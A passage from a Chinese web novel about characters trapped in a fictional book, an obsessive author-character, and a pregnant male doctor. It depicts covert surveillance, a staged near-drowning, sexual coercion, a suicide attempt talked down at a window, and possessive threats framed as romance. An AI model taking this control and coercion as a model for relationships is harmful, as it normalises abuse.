“隔壁的VIP病房同时住进去了?”慕酌月终于开口,声音冷冽如寒风刺骨。 秘书们闻言,皆是神色一凛,连忙应声是的。 慕酌月转身,目光深邃地望向窗外,纵使医院外阳光灿烂,也阻碍不了他眼底的阴沉正在肆意蔓延。 他错了。 他以为眼前的这个郁瑟,始终是有点不一样的。 慕酌月在跟郁瑟接触的过程中,发现眼前的这个医生与小说里的描写略有不同。 ——比小说中处处被枫音尘强.制爱的郁瑟,更加独立和坚韧。 也更加单纯而迷人。 慕酌月经常暗自观察着郁瑟,心中那份扭曲的爱意愈发浓烈,他也开始幻想,假如眼前这个郁瑟还没有跟枫音尘之间发生些什么,就好了。 直到,慕酌月约着郁瑟在海滩边夜游,他的眼睛无意间看到了郁瑟修长的四肢。 与微微膨起的腹部!! 这种五雷轰顶的顶级痛苦,并不是所有人都曾有过的经历!! 郁瑟是这本书的男主角,所有副线的剧情都会主动围绕着他进行。 但是,小说里也有一些隐藏性的剧情,是只有慕酌月自己心知肚明的。 他为了得到郁瑟,处心积虑将对方推进一段全新剧情,这个新剧情会有一定的风险,不过在慕酌月的计划里,这段剧情不仅可以顺利铲除枫音尘,还能由自己出手来帮助郁瑟,获得郁瑟的信赖。 可是,这完美的计划却在某一个瞬间,完全被摧毁殆尽! 慕酌月险些快要忘记了! 小说里的郁瑟是要怀孕的! 慕酌月是这本书的作者,里面的每一个文字,都是他的情感宣泄,更是对现实中郁瑟的扭曲的爱意表达。 他本应该清楚记得,郁瑟和枫音尘会拥有一个孩子,这个孩子的出现,基本上是在小说中,付清元难产死去的剧情之前怀上的。 慕酌月在看见郁瑟异常的腹部之后,堪称一道闷雷,狠狠地砸击了他的理智和心房!! 他的瑟瑟,跟枫音尘之间,居然真的!! 慕酌月对于郁瑟的执着早已扭曲,他委实不能劝说自己接受现实,甚至抱有一丝不切实际的念头。 瑟瑟没有怀孕! 他没有办法立刻获得郁瑟的尿液或血液,更没有办法叫郁瑟主动去产检。 所以。 慕酌月在下一秒内,迅速地在内心中做好了一次规划。 叫郁瑟落海的规划,这样就可以明目张胆地给郁医生做详细体检。 郁医生最大的缺点,不就是喜欢奋不顾身地去挽救一切可以挽救的生命? 所以,慕酌月顺势将人约到快艇上,能够近距离地参与到一段剧情之中。 郁瑟按照他的预计,奋不顾身地跃进海中去救人。 很好。 可是当郁瑟跳进去的时候,慕酌月的残酷本性也开始疯狂动摇,生怕这个人会被什么巨浪给卷走。 即使对方只是小说里的郁瑟,他也突然害怕会失去郁瑟。 于是,也不顾自己的轮椅伪装,直接跃入海中去救人了。 事实证明,鲁莽行事会获得一些好处,以及一些坏处。 好处是,顺利验证了小说剧情对应章节的部分,郁瑟如期怀了枫音尘的孩子。 坏处是,郁瑟真的怀孕了!!还是枫音尘的孩子!! 郁瑟怀孕了! 慕酌月的神情已经难看到,周围的人都已经被威压到喘不上气而窒息的程度。 这个孩子不能留下! 慕酌月清了清嗓子,再次朝着旁边的秘书问道,“确定隔壁住的是我需要的人?” 秘书常年跟着慕酌月,自然知道他家的总裁不是吃素的角色,立刻点头弯腰道,“叶家的人得知情况之后,立刻派人将那个人送来这座医院救治,只是对方并没有昏迷,一直处于强烈的抵抗中,即使打了镇定剂也没什么作用。” “嗯。”慕酌月俨然对他的回复十分满意。 毕竟能将两段剧情里的人硬凑在一起,他这边也是出了不少气力的。 慕酌月道,“郁医生这边不用特别守着,假如有需要的时候” 他的手上做了一个“推波助澜”的动作。 私人秘书立刻心领神会,再三点头。 慕酌月走后,郁瑟因为输液和溺水的关系,人显得疲惫极了,不由得闭眼躺着,心里嘴边还在喃喃着。 我怎么可能怀孕呢?我是货真价实的男人啊? 音尘知道后,可不得乐疯了 不等他进入熟睡状态,病房的墙壁间蓦得被什么砸了一下,发出“嗵!”的巨响,一下子就将郁瑟给惊醒了。 而后,隔壁病房的闹腾声便没有停歇过,一声接一声,像是有什么东西在不断地撞击着墙壁,伴随着时不时传来的咒骂声和重物落地的声音,让整个走廊都显得嘈杂不堪。 郁瑟揉了揉太阳穴,试图让自己清醒一些,披上外套后小心翼翼地下了床,准备走到门口看一眼。 隔壁病房的闹腾声愈发激烈,似乎还夹杂着男人的哭泣声。 郁瑟皱了皱眉,心中涌起一股不舒服的感觉,他犹豫了一下,决定过去看看情况。 护士轻轻推开病房的门,走进来拦住他道,“这位病人,你不可以随便下地,你身体不适了还很虚弱,现在必须躺到床上去休息。” 郁瑟哑然。 平常他总会不厌其烦叮嘱其他病人的话语,居然现在被人亲口讲给自己听。 不过。 郁瑟开口道,“隔壁好像在打架不需要报警吗?” 护士温柔地将他护送到床边,轻轻道,“那也不是你该管的事情,你现在的身体这么虚弱,隔壁的事情是隔壁的事情,我们全权当做没有听到就好了。” 郁瑟简直被她事不关己的态度气笑了。 还准备要提出些建议。 结果从病房外又走进来一位护士,朝着郁瑟抱歉道,“不好意思,隔壁病患因为冲浪时从冲浪板间坠落,头部撞击到了冲浪板,所以情绪很不稳定,家属一时着急,才会吵嚷起来。” “我们已经派人跟隔壁调节了,您安心休息,慕先生有交代的,您不要太过激动。” 郁瑟愣住了。 怎么又是冲浪?! 他之所以会躺在这里,也是因为有人从冲浪板间坠落造成的。 这样会不会太过凑巧了? 两位护士完成自己的任务之后,彼此递了眼神,慢慢从病房中退了出去。 郁瑟只好将外套重新放置在一旁的椅背间,平展地躺在病床间,用手慢慢地抚摸着自己的腹部。 这里 这里居然真得有一个孩子?! 太奇妙了! 郁瑟委实找不到一个合适的词语,来形容此刻复杂的心情。 或者是喜出望外,也或者是迷茫不解。 然而一切的情绪都只是暂时的而已。 他知道,从今往后,自己的人生轨迹将会因为这个突如其来的小生命而发生翻天覆地的变化。 这个孩子,将是他生命中最为珍贵的存在,也是他未来所有计划和行动的中心。 郁瑟开始想象自己抱着孩子,哄他入睡,看着他一点点长大,心中充满了前所未有的期待和幸福感。 而这一切的幸福之中,还有另一个人的相伴。 枫音尘! 郁瑟简直可以想象到枫公主一定会抱怨了,用他擅长的撒娇本领,抱怨自己不够珍惜自己,带着球还跟别的男人出门 郁瑟蓦得从病床间坐起。 他在做什么呢? 他早已不应该继续坐在这里了,他更应该快点回家去,亲口将这个惊喜告诉枫公主。 而不是等他那个该死的电话,或者也不该跟慕酌月继续进行什么秘密的计划! 对。 郁瑟穿好鞋,披好外套,刚才护士推门进来的时候,门口俨然是没有人看守的。 他可以进出自由,来去迅速。 郁瑟真得迈开步伐,往病房外走去,直到隔壁的窗户被什么闷闷的声音击碎。 这声音应该是用什么包着拳头,或者某个器物发出的,所以才没有立刻引起他人的注意。 但是郁瑟注意到了。 他的脚往前迈开两步,转而又回到自己的病房窗户前。 郁瑟打开窗户,顺利地将视野转向对面的方向。 这一看不要紧,居然是隔壁病房的病人,对方将自己的大半截身躯从破碎的窗户口探了出去。 这里是医院的十二层楼,寒冷的风潮将对方的病号服吹得猎猎作响,窗户残留的玻璃碎渣将手臂划出细小的血口。 而那人似乎完全没有意识到高度的危险,正全神贯注地看着楼底变小的景物。 不对! 对方的神情非常不对,仿佛被什么攫取了灵魂似的,准备着从这高耸的位置一跃而下。 郁瑟的脑海里立刻浮现出了一幅与之一模一样的场景。 那是很久之前,郁瑟刚到医院上班之初。 一个黑发遮眼的病弱男生,一只不停叫唤,显得凄凄哀哀的小黑猫。 同样是准备从高楼一跃而下,结束短暂而又痛苦的一生。 那个男生,是郁瑟曾经无意间救助过的一个陌生人,而那只小黑猫,则是男生视若珍宝的宠物。 郁瑟在医院里见过这只黑猫的。 当时的男生,神情与隔壁病房的病人如出一辙,绝望而又迷茫。 郁瑟不会忘记,自己是如何费尽口舌,如何陪伴在男生身边,一点点开导他,直到他重新燃起对生活的希望。 而现在,面对同样陷入绝望的隔壁病人,郁瑟知道,自己不能坐视不管。 他小心翼翼地朝对方提醒着,“外面风大,我们先进屋里来聊,不好吗?” 那个一脸死灰的男生应该是听见了郁瑟开窗的声音,所以并显得很吃惊。 郁瑟看见他的头部包扎着几圈纱布,隐约洇出酱红色的血痕。 是那个冲浪坠落时,狠狠撞击到头部的男人。 郁瑟换了轻轻的宽慰声,“你的头好像流血了,我是医生,可以帮助你” “不要你管!!”隔壁男人迸发出了压抑的低吼,即使人已经做了最坏的打算,依旧不愿意大喊出声。 不,是不能大喊出声。 即使是死亡,他也不想叫守在门外的人听见。 他想默默地跳下去! 男人转脸面朝郁瑟的时候,两人隔着不远的距离,同时看清楚了对方的面孔。 男人看见郁瑟的瞬间,面孔毫无波澜。 然而郁瑟看清他的面颊时,立刻被如此巨大的巧合深深袭击。 居然是!! 居然是岛上那个男扮女装,求他帮忙堕胎的清瘦男人!!! 第92章 第 92 章 三方合力 郁瑟不在家的第三天, 枫音尘已经完全坐不住了,尤其是给对方发送了无数条信息,全部石沉大海之后, 更是令人整日里如坐针毡, 连看见宅子的庭院里多了一片落叶,都觉得碍眼极了。 枫宅内的所有人,几乎都被他挑了一遍毛病。 譬如嫌弃枫澄最近不思进取, 一个月才签了四份合同根本是浪费公司资源; 又如抱怨厨房做的饭菜太过油腻, 不合他的口味,责令他们立即更换菜谱。 甚至就连平日里最得他欢心的园艺师, 也因为修剪的花枝不够整齐而被他找毛病斥责了一番。 整个枫宅上下, 人人自危,生怕一不小心就触了他的霉头。 同样被波及到的白梵, 感觉自己一定是要在枫家待不下去了, 因为枫音尘间接找他的错处最多,总共有三次。 枫澄被小叔叔教育得委实待不下去,提议白梵带着孩子一起出个门, 可以到孩子最喜欢的游乐园去, 还专门问白遇安要不要去,引得孩子高兴坏了。 白梵之前被他表白过,心底总是觉得配不上枫澄,最近也有些躲着对方的意思。 原本被枫音尘点了几次, 他也有些动摇的意思, 心说干脆趁家主不高兴, 提出请辞的想法。 结果枫澄却也同时抓住了这个机会,预备将人约出去,可能到了外面, 人会变得轻松自然一些,更不容易做出促狭的选择。 白梵一听,枫澄已经跟白遇安讲了要出门的,自己这边拒绝起来,恐怕要有些难度。 若不然说资本家都是狡猾的狐狸呢,连这种时候都不忘给自己创造机会。 两人抱着孩子在主宅的外墙侧交头接耳,被路过的枫音尘又给逮个正着。 可把枫家主给气坏了。 讲真的,枫音尘原本便要拆散这对儿奇奇怪怪的临时cp的,若不是因为郁医生出了外诊,他这边已经着手规划了。 见此情境。 枫家主不得不提前警告一下对方,路过时轻轻地咳嗽了几声。 不知道枫澄听没听清。 反正院子里有其他人听到了。 正在院子里修剪花枝、苗圃,给树木做景观造型的徐泾镇听的清清楚楚,立刻小跑着过来,热切地询问道,“家主,您是不是嗓子不舒服?” 徐泾镇母亲的病情最近有所好转,连他这个做儿子的也喜形于色,对枫音尘的感恩之心溢于言表。 他说:“我老家盛产皇冠梨,最适合做梨盅了,我现在立刻叫家里寄来十箱,亲手炖给您和郁先生喝。” “毕竟现在秋燥了嘛,总是要多喝一点梨盅,降燥润肺一点。” 枫音尘瞧他笑得憨厚老实,并不像是一个善于阿谀奉承的人,绝对是打自内心来感谢自己的。 所以不讨厌对方靠近。 徐泾镇左右看了两眼,找不到他的另一个恩人,言道,“郁先生呢?怎么感觉好两天没有看见他了?” 三天,整整三天! 枫音尘连时分秒都记得格外清楚,虽然嘴上说着绝对要尊重郁瑟的工作,也不要因为工作的事情跟对方闹别扭,但实际上,他才不想郁瑟整天忙于上班。 班有什么好上的,臭臭的味道。 不过,枫音尘也因为空虚寂寞冷,对面前的老实人生出一丝丝的好奇。 问道,“话说,你跟郁医生是怎么认识的?” 枫音尘倒是对小说有一定的了解,知道郁瑟是本书的男主角,所以很多副线剧情都会围到他的身边。 但是,像徐泾镇这样不值一提的边角料人物,根本不应该凑到郁瑟的身边来。 枫音尘不觉也好奇道,“话说,你跟郁医生是怎么认识的?” 徐泾镇立刻傻呵呵地实话实话了,“是在夜总会的后门认识的。” 夜总会?!! 郁医生瞒着我居然偷偷去了夜总会!! 枫音尘立刻像是被戳到了什么似的,脸色骤变问,“哪一家夜总会?” 老实人还没有学会怎么察言观色呢,一五一十说出了龙城最臭名昭著的那一家夜总会,据说这家夜总会背后有着不少情.色交易,就连警察也时常光顾,但总是抓不到什么把柄。 枫音尘的脸色越发难看,心想着郁瑟怎么可能会在那种地方出现,还恰好碰到徐泾镇。 徐泾镇瞧他脸色不太对劲,有些疑惑地问道,“家主,是我哪里讲得有问题吗?” 枫音尘嘴角一横,“当时除了你,郁医生身边还有其他人吗?” 徐泾镇根本不用回想,“只有郁先生一个人,而且他当时主动朝我搭话,我最开始还以为他想找我呃” 好像不是很适合在家主面前讲。 “我还以为他是骗我的,我当时急着找工作,他居然直接问我,要不要现成的工作呢。” 这些话听起来十分平常,不过在熟记剧情的枫音尘耳朵里,却隐藏着极大的猫腻。 例如郁瑟从来不爱去那种乌烟瘴气的风月场所。 还例如,郁瑟怎么知道,当时徐泾镇在那里,而且还清楚地知道,对方有什么类型的需求? 枫音尘挥挥手道,“你先去忙,我需要思考一个问题。” 徐泾镇真的以为自己哪句话说错了,不禁咂咂舌头,悄声转头离开。 等人一走。 枫音尘这边则开始着手调查起来,他这个人看似漫不经心,但是关于郁瑟的事情,有任何疑虑,必须要弄个清楚才行。 枫音尘坐在自己的书房之内,私人秘书已经将那家夜总会后门的监控录像调取出来,并且做出了最简要的回报。 “郁医生当时并非是自己去的会所,而是乘坐一辆纯黑色宾利。” “根据车牌号的查询,证明这辆豪车的私有者,是长空重工的掌权者慕酌月所拥有。” 慕酌月! 枫音尘禁不住嘲讽道,“那个微不足道的死人背景板?” 慕酌月的话,枫音尘并不陌生,两人曾在医院的走廊中央狭路相逢过。 当时枫音尘还产生过一丝丝的怀疑,为什么慕酌月会出现在医院里。 为什么慕酌月会和郁瑟一起,同时出现在付清元的剧情线里。 现在看来,这些看似顺畅的剧情脉络,完全不是表面上的顺其自然。 应该,是有人引导着郁瑟,再跟不同的剧情线接触。 此一想,枫音尘的额角感到一阵疼痛,毕竟瑟瑟并不是这个书里的人物,他更加不知道,这本书里错综复杂的剧情脉络。 尤其!! 枫音尘朝私人秘书道,“郁医生自己说要出外诊三四天,一个小时内帮我查一下,我现在十分怀疑,他现在正跟慕酌月在一起。” 这个该死的背景板玩意儿!! 枫音尘越想越生气,直接步行到了自己的卧室,打开保险柜,取出了隐藏在里面的小黄书。 用最快的手速直接翻找到了慕酌月出现的章节。 确实没有错。 这个慕酌月在小说里,只是短短地存在于一段描述中。 主要讲得是他如何从植物人变成正常人,然后跟他的男妻先婚后爱。 接下来的徐泾镇也是淡淡提了几句,付清元的剧情最多,但也不管多少,完全都没有再出现过慕酌月这个人的名字。 枫音尘异常的聪明,他在现实世界活着的时候,便以优秀的头脑著称,更何况重生到了书中世界,又重新活了一遍。 他已经在最短的时间内,猜测到了这个所谓的慕酌月,应该很有问题。 若不然,怎么会有人能在已经截止的剧情里,不停地出现在郁瑟身边? 别人越是火急火燎的时候,枫音尘反倒冷静下来,从来只看黄黄的桥段部分,现在必须要认真看一看了。 枫音尘冷静下来,用手指一行行地从文字中提取关键信息。 在徐泾镇的剧情之后的十几章之外,还有一个差不多的小剧情出现。 书上是这样写的: 【郁瑟怀孕之后人突然娇气得厉害,完全不让枫音尘碰他,更不同意玩那些过分的小玩具,所以枫音尘一气之下跑去喝酒。】 【众人难得看到枫家主撇开家里的那一位,出现在大众视野之间,于是主动围着枫音尘,试图跟枫家攀上关系。】 【枫音尘优雅地端着酒杯,安静地听其中一个家伙讲道:“说起小玩意,叶家的那位才最夸张。”】 【众人都知道叶家是靠什么发家的,经过上百年由黑转白,洗得干干净净上岸做生意,但是私底下依旧十分猖狂,即使是在华国这样的法治社会,依旧不能将柳家人真正地清理干净。】 【所以大家也只敢把柳家的事情拿出来当作个玩笑,不敢真的明面上讨论。】 【讲话的人大概也是喝醉了,才敢在一堆大佬之间说些什么坊间传闻。】 【“据说叶家最近出了一档子事情,”讲话的人将声音压得极低,“叶家大少爷找人把一个产科医生给弄死了。”】 【“好像叶大少爷养得情儿在岛上玩时遇见的医生,不知中间是发生了什么勾扯,总之算是碰触到了叶大少爷的逆鳞,当夜就被人给”讲话的人做了一个击毙的动作,然后丢下一个大家都懂的眼神,转而喝了一大口酒。】 【枫音尘觉得这人怎么可能知道叶家的事情,不由嗤笑说,“区区叶家而已,当真以为自己可以只手遮天呢?”】 【那人见是枫音尘在说话,不由闭嘴,毕竟眼前这个主儿也是不好惹的,但是若说跟叶家比起来,枫家做得都是正规生意,修修桥、造造路,收收过路费。】 【可是叶家不同,毕竟山外有山,人外有人,人家暗处给你一点颜色,你枫家家主毕竟也不是不死之身不是?】 只是区区一个片段的描写,已然叫枫音尘浑身感到不舒服。 整个龙城之内,居然还有他枫音尘踩不平的地方? 不过枫音尘为了尽量避免一些事情的发生,也为了能顺利等到郁瑟,早早将恒基交给枫澄来继承,自己长期处于幕后,掌控集团的大方向发展。 直到看了这段话,枫音尘才发现原来自己也遗漏了一些细微的地方。 叶家,叶家。 若是在现实生活中,必然不会存在叶家这种家族,可是在狗血小说里,自然怎么夸张怎么来了。 枫音尘只是稍微看了几眼描述,便已经警觉起来,向他们这样的正规企业,最好不要主动去触人家的霉头比较好。 只是 枫音尘心里慌乱的感觉愈发明显。 尤其是上述那个死掉的医生,没有提说是男是女,但是偏偏提的几个字叫他在意。 为什么是产科医生 枫音尘不觉陷入到了沉思之中。 直到私人秘书的电话将他惊醒,这才精神一凛,问道:“怎么样?” 私人秘书在查郁医生去哪里的时候,找不到任何蛛丝马迹,完全像是被人屏蔽了一般。 直到他灵机一动,调取了医院的所有监控,以及大门外的监控,最终发现在正厅门口,接走郁医生的还是一辆墨黑色的宾利车。 “是慕酌月。”私人秘书将慕酌月身边的人统统查了一遍,发现慕酌月近三天内租赁了一架小型飞机飞往了某个只有少量VIP可以登录的私人岛屿,刷得是他的百夫长黑卡。 私人秘书这边汇报完之后,耐心等待着枫音尘下一步的安排。 可是,他只听见枫音尘手里的手机滑落在地,发出“咔哒”的一声脆响。 绝对是屏裂了,私人秘书如此肯定。 枫音尘却像是魔怔了似的,起身开始不停地走来走去! 这一切都是巧合!! 枫音尘的脑子完全乱成一锅粥似的,双脚多在自己的手机上踩了几圈。 私人秘书半天听不见任何声音,只能小心翼翼地提醒:“家主,我们现在该怎么办?” 枫音尘停下了脚步,双眼紧盯着地面上破破烂烂的手机,仿佛能从那破碎的屏幕中看出什么端倪来。 片刻后,他终于开口,声音中带着一丝不容置疑的坚定:“再去查一下,那辆黑色宾利车最近出现在哪里,必须要快一点!” 还有! “龙城有个叶家,先去摸一下底,究竟是什么路子。” 枫音尘仔细回忆了小说里敢讲叶家嫌话的那个人的姓名。“想办法跟这个人套上近乎,最好叫他欠一大笔债务。” 私人秘书闻言,连忙点头应是,迅速去准备相关事宜。 枫音尘则站在原地,双眼微闭,心中暗自思量: 应该不可能! 慕酌月假如想要借助叶家的手弄死瑟瑟,完全没有必要先让郁瑟去接触付清元和徐泾镇。 他之前就觉得这个慕酌月很不一般,很异常。 事出异常必有妖! 这个慕酌月! 枫音尘心底算是做出了一个大胆地推测! 假如这个慕酌月手里不是拿着另外一本相同的书籍话,那他肯定跟这本书之间有很大的关联! 想至此。 枫音尘将目光死死地钉在《强宠郁医生的九十九天》的封面之上。 看来,他也得提前做好万全的准备了。 枫音尘拉开书桌抽屉,里面摆着几部全新的手机。 他先给萧君耀打了一通电话,对里面抱着孩子乐不滋儿的老男人言道,“你小婶婶估计要惹上麻烦了,你管不管?” 又给远在M国给孩子治病的杜景恒打了电话,言道,“没有我老婆,你老婆和孩子早不知哪里凉快了,你考虑一下要不要帮忙!” 再给港城打了电话,对谭墨越说,“我们以后是一家人,郁瑟是枫羽的小婶婶,你那边安顿得差不多,先来这边一趟。” 第93章 第 93 章 我老公 “好的, 现在你已经全部都知道了,我为什么会想不开了吧?” 隔壁窗户的男人,似乎已经在郁瑟的话疗之下, 慢慢地放松戒备, 然而他的双腿依旧挂在窗户之外,寒冷的夜风将他的裤管吹得鼓鼓囊囊,像一颗膨胀的气球, 随时会裹挟着孱弱的身躯, 从高楼之间飘荡开去。 郁瑟被他所描述的故事深深地震撼到了。 面前这个瘦弱的男人,原本是一名优秀的冲浪选手, 他和他的双胞胎姐姐都是狂热的冲浪爱好者。 对于热爱冲浪运动的人来说, 一生中总应挑战一次极限——巨浪冲浪。这项运动更是被冠以“玩命”之称的极限挑战,无数冲浪者将其视为终极追求。有人认为, 一旦成功冲过巨浪, 便难以再对20英尺(6米)以下的浪涌产生激情。 葡萄牙海滩度假胜地纳扎雷,原是一个风景如画的渔村。这里的海浪被誉为“山海浪”,犹如连绵不断的山峰般壮观且令人敬畏, 有时海浪高度甚至能突破100英尺。纳扎雷最著名的浪点北普拉亚——普拉亚多诺尔特(Praia do Norte), 拥有葡萄牙最大的海浪。 于是男人便跟着他的姐姐约定好,当年的10月要一起去北普拉亚冲浪,完成他们对于热爱运动的第一次献礼。 结果厄运总是伴随在希望之后。 在约定的那个月,一场突如其来的风暴席卷了整个海岸线, 海浪变得异常汹涌, 他和他的双胞胎姐姐同时下的海。 最终, 却只有他自己一个人活着回来。 失去姐姐之后,巨大的丧亲之痛已然将男人笼罩在阴翳之下,谁曾想, 他的双胞胎姐姐一直有一个暗中交往的男朋友,对方在得知心爱的女人死了之后,几乎将全部的怨火发泄在男人身上。 男人的家庭原本非常殷实,否则也不可能支撑姐弟俩人的高额爱好,结果被那个所谓的男朋友用了点手脚,直接宣告破产,连两位老人的养老生活也无法得到保障。 男人得知此事,去找姐姐的男朋友说理,对方只给了他一个选择题。 ——我要康雅回到我的身边,你必须负责把康雅原模原样地送回来。 ——为什么死的不是你呢? 男人被这简短的话惊得面无人色,他知道对方的意思并非要他立刻在面前自戕。 而是变成他的姐姐,康雅。 因为他们是双胞胎,除了性别之外,长得几乎一模一样。 只要他变成女人,康雅就能回来,他的父母就可以获得足够的补贴,好好地度过晚年。 只要他是女人。 康城坐在窗户前,慢悠悠地对郁瑟讲道,“当初那个巨浪高度起码超过二十层楼,更不要说我现在脚下的楼层,才只有区区的十二层。” “我一点都不害怕,我对现在的生活,早已经感到麻木。” 康城忽然想起什么,摸了一下自己的腹部。 孩子。 叶隧刚开始的时候,每次都会让他在床上戴假发,穿裙子,而且做.爱的时候,永远只会选择从后面进入,饱富深情地呼唤康雅的名字。 最近可能是因为习惯了康城的存在,做那种事的时候偶尔也会扭过康城的脸,温柔的亲吻他的嘴唇和耳垂,抱着他睡到天亮。 可能就是最近这段时间怀上的孩子。 “不要,我不要怀他和姐姐的孩子,我什么都没有,连最后一点的尊严,也在逐渐消失!” 郁瑟看他的情绪猛然激动起来,不由竭力伸出双手,做出无害的安抚动作,“不是的,不是这样的,康城。” “我们每个人都有选择自己生活的权利,尽管命运对你开了一个残酷的玩笑,但这并不意味着你必须全盘接受。” “而且,你并不孤单,身边还有愿意倾听和帮助你的人。” “康城,试着冷静下来,我们一起面对这个困境,寻找一个对所有人都好的解决方案,好吗?” 康城似乎有所动摇地样子,毕竟他在叶家过着全封禁的生活,已经太久太久了,在那个家里完全没有人愿意听他的心声,听他的呐喊。 他今天像是抓到了一个恰好的玻璃瓶,将所有的烦闷苦楚,一窝蜂地倒了出去。 人总是需要一些倾泄的。 正当康城在考虑他的话意时,身后的病房门发出了一声轻响,医院的VIP室是套间,病房外面还套着一间供客人休息的小客厅。 “完了!他来了!”康城的脸色骤变,宛若听出了野兽靠近的脚步声似的,整个人毫不犹豫地爬上窗户,准备一跃而下。 郁瑟大喊道,“139XXXX,这是我的电话号码!千万不要做傻事,想想你的父母,他们才经历丧女之痛!” “我的号码!”郁瑟又报了一遍,“假如你能有机会拿到电话,打给我,我会帮助你的,信我!” 情急之下也是没有任何办法,但是郁瑟帮助人的心意毫无造假之处。 这份真诚由彼此间的对视传递了出去,使得准备跃下高楼的康城,转身又钻了回去。 顷刻之间,对面房屋之间又传来了嘈杂的吵闹声,凄凄哀哀的是康城,其中还含混着另一种陌生的声音。 那人说,“你的誓言毫不值钱!我再也不会被你欺骗!” “你这双腿干脆打断算了,不然总是想着不切实际的东西。” “窗户是你打碎的?长出息了?难道你想把雅雅再杀死一次?你真的是她的弟弟吗?你真的就不能好好地在我身边扮演她?” 其他的一些混乱的声音,已经听不清了。 郁瑟竭力用双膝跪在窗户旁,想听清楚对面的交谈是否会刺激到康城。 对了,我应该打电话报警。 郁瑟转身之间,被悄无声息进门的慕酌月一把抱住,托住腰腹从高处挪了下来,冷酷地警告说,“这种建筑的窗户早已经老化,难道说你想掉下去?” 郁瑟从他的怀抱中挣脱出来,大声道,“我现在需要回家一趟,安不安全的,我自己比谁都清楚。” 手机! 他现在十分需要得到一部手机! 慕酌月与一同进门的秘书互相递了眼神,道,“我不是说了,我的秘书已经给你办了新的手机。” 那个秘书立刻双手呈上,递出一部崭新的高性能品牌手机。 为了往里面安装些小零件,也确实花费了些功夫。 被郁瑟一把拿着丢在病床间,双目圆瞠道,“我这两天一直跟在慕先生的身边,但是,我现在想回家了!”他的语气坚定不移,毫不容许任何拒绝。 慕酌月给出一个眼色,那个秘书小跑着将手机捡了回来,像是替着主人说话的奴才,低眉顺目哄道,“郁医生误会了,慕先生原本就是要送你回去的。” 最好是这样! 郁瑟一把拿过手机,看了一眼手机里的内容,确定是他原本的手机号,才说,“算是我借用一下,等会儿还你。” 慕酌月拿起外套,很绅士地给郁瑟披上肩膀,淡道,“你现在的身体不好,还是多注意一点。” 郁瑟心底藏着事情,点头算是对他道谢,尤其三人走出病房门时,他还特意看了一眼隔壁病房的动静。 医院的木门已经紧紧闭着,门后站着两位身高体壮的黑衣保镖,脸颊侧洇出抽打过耳光的痕迹,看来康城将窗户偷偷砸碎的事情,令他们这些保镖也挨了处分。 所以郁瑟探究的眼神,被门口的保镖狠狠地瞪了回去。 可是郁瑟似乎听见了康城的哭泣声,细微的,无助的,都令他心如刀绞。 慕酌月只是观察了一下郁瑟的神情,立刻心领神会,心底明白这两个人的剧情已经顺利接轨了。 一行人走到医院正门,门外的风潮忽然冷了起来,使得郁瑟不禁打了一个寒噤,被慕酌月抓住了肩膀道,“我的外套也脱给你,你” “他根本不需要你!”不知为何,枫音尘的声音横空出现,将慕酌月的殷勤直接扼杀在摇篮中。 郁瑟最是奇怪,连他自己都不知道此刻身处哪里,怎么会听见枫音尘的声音? 难道说,是产生幻觉了? 直到十几辆豪车的车前灯不约而同打开,这才令医院门口的人发现,原来街道两边早停驻着两排高级车辆。 枫音尘穿着风衣,从这蔟簇的光线中央走出来,宛若身披金光的神帝,每一步都踏着沉稳的节奏,仿佛连空气都在为他让路。他的目光锐利而直接,穿透了人群,直接锁定了郁瑟,那眼神中既有责备也有深深的担忧。 “瑟瑟,我来接你回家。”枫音尘美目生寒,声音低沉有力,每一个字都像是带着不可抗拒的力量,让人无法忽视。 慕酌月站在一旁,眼神复杂地看着这一幕,他已经感受到了枫音尘身上散发出的强大压力。 枫音尘瞪了他一眼,如同鄙睨一只不起眼的蝼蚁。 慕酌月想要说话,枫音尘直接注意到了郁瑟拿在手里的手机。 不是郁医生的。 直接生气地拿过来,往路边的花丛一丢,朝郁瑟道,“这手机一点也配不上你的身份,难看死了,快丢掉!” 慕酌月的表情瞬间一改,觉得自己被一个区区NPC给羞辱了似的,直接反问,“郁医生是什么身份?他” 枫音尘已经顺利将郁瑟搂进怀里。 真的太吓人了,吓死人了!! 是萧君耀动运人脉关系帮他打听到的具体地址,完全不在龙城范围内,而是到了隔壁城市。 枫音尘在拼命赶来的路上,脑子不停脑补得厉害,生怕郁瑟在岛上出了意外。 否则怎么会被送到隔壁城市的医院来! 妈的,枫公主越看见慕酌月这个死炮灰,越生气。 什么身份?看不出来吗?瞎吗? 不由声高气傲道,“我老公的身份!” 第94章 第 94 章 开怀的事情 老公?我创作出来的枫音尘居然主动认郁医生作老公? 跟剧情的初始设定完全不一致, 彻底偏离了设计!! 慕酌月险些冷笑出声,然而笑意蔓延到嘴边时,一股强烈的不甘愿又更加凶猛地扑上心头。 原本这样诡异却甜蜜的相处, 应该属于他和郁瑟之间的!! 枫音尘随便堵了他两嘴, 完全没有给对方继续话题的借口,拉着郁瑟转身坐回到车上。 不知是什么原因,可能是自己的冒失举动惹怒了枫公主。 郁医生的第一个念头是:先哄好他。 枫音尘则牵住郁瑟的手腕, 一刻不肯松开道, “平常多叫了你两声老公而已,是不是觉得自己已经可以开始为所欲为了?”郁瑟感受到手腕上传来的力量, 并不觉得恼怒, 心里反倒莫名地涌起一股安心。 不要看枫公主平日里漫不经心,关键的时刻, 总是能露出一家之主该有的果决力, 值得依赖。 他侧头看向枫音尘,那双明亮的眼眸里闪烁着一抹清光。 枫音尘见他不答,隐藏在内心深处的忧惧再也无法压抑, 一把搂住郁医生的腰肢, 将人狠狠地锁死进了怀里:“假如有人敢伤害你,我会消磨一生的光阴,同样地去伤害他千万倍!” 枫音尘这段发言只有真,没有假, 听得郁瑟心里暖暖的。 不, 肚子里也暖暖的。 郁瑟思考了一个瞬间, 决定要对某个大可爱说出心里真实的想法了。 他说:”《强宠郁医生的九十九夜。》” 枫音尘:“嗯。” 枫音尘:“嗯?” 郁瑟噗嗤笑了,“不好意思,我不是故意看见那本书的, 只是里面的内容” 然后,郁瑟就在枫音尘的脸上看到了一抹不一样的神采,可以说,往前十几年,往后一直到他们俩能白头偕老的日子里,都不可能看道枫音尘的脸上会出现这副模样。 慌乱异常!! 郁瑟将下颌轻轻地抵在枫公主温暖的胸口,这里一定隐藏着一颗极其漂亮的心脏,所以跳跃出如此有力且慌乱的节奏。 枫音尘的双手紧握成拳,声音里带着一丝不易察觉的颤抖:“你……你都看到了什么?” 